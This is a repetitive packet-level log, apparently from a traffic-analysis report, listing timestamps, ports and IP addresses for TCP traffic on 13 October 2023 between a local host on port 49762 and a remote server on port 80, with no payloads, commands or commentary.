Oct 13, 2023 16:05:53.692220926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692251921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692286968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692334890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692420959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692461967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692492962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692523956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692564011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692657948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692673922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692729950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692738056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692787886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692827940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692852020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692920923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692938089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692960978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692986012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693025112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.693054914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693098068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693133116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.693185091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693201065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693239927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.693298101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693315029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693344116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693361998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.693459988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.693500996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.022464991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022500992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022595882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022634983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.022646904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022701979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.022720098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022759914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022778034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022828102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.022860050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022907019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.022924900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.022984982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023011923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023036957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.023097992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023139000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.023580074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023673058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023714066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.023761988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023843050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.023880959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.023963928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024032116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024069071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024069071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024156094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024197102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024226904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024245024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024282932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024312973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024370909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024418116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024426937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024502039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024540901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024565935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024663925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024705887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024723053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024753094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024791002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.024802923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.024996042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025033951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.025087118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025161982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025199890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.025218964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025300026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025346994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.025383949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025413990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025449038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.025494099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025624037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025667906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.025712013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025760889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025800943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.025824070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025863886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025893927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.025908947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.026469946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.026511908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.026628971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.026709080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.026748896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.026885986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.026983023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027024031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.027115107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027163029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027200937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.027240038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027318954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027354956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.027421951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027484894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027519941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.027549982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027631044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027667046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.027712107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027806044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.027853012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.027883053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028059006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028095961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.028279066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028311014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028347015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.028393030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028441906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028479099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.028570890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028630972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028678894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.028723001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028820992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028862000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.028871059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028953075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.028992891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.029079914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029149055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029186010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.029211998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029294968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029340029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.029362917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029395103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029433966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.029464960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029505968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029542923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.029586077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029854059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029894114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.029923916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029957056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.029995918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.030100107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030273914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030313015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.030399084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030494928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030540943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.030571938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030621052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030656099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.030719042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030875921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.030924082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.030967951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031021118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031061888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.031106949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031193972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031208992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031234980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.031331062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031369925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.031459093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031526089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031574965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.031599998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031698942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031733990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.031764984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031783104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.031821966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.031966925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032023907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032061100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.032126904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032244921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032289982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.032361984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032466888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032506943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.032537937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032604933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032648087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.032733917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032820940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.032860994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.032932997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033066988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033108950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.033174038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033277035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033322096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.033421993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033510923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033554077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.033557892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033627987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033663034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033668995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.033701897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033739090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.033824921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033938885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.033981085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.034045935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034121037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034162045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.034204960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034291983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034331083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.034490108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034591913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034632921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.034714937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034816027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.034856081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.034989119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035043001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035082102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.035207987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035315990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035355091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.035417080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035599947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035640001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.035720110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035897970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035938025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.035938978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.036190033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036231041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.036319971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036403894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036442041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036442995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.036513090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036549091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.036601067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036658049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036701918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.036746979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036856890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036896944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.036900997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.036962032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037005901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.037028074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037044048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037091970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.037110090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037188053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037230968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.037249088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037319899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037359953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.037705898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037787914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037827015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.037873030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037923098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.037961960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.037987947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038039923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038057089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038075924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.038512945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038556099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.038600922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038640022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038690090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.038713932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038754940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038791895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.038836002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038882971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038918972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.038944960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.038983107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039021969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039067030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039097071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039133072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039136887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039200068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039242983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039274931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039297104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039328098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039355993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039462090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039506912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039508104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039621115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039663076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039680958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039714098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039748907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039793015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039840937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039879084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.039891005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.039963007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040004969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.040035009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040076971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040118933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.040296078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040358067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040374041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040397882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.040653944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040704966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:54.040714025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040730953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:54.040771961 CEST	49762	80	192.168.2.4	91.215.85.17
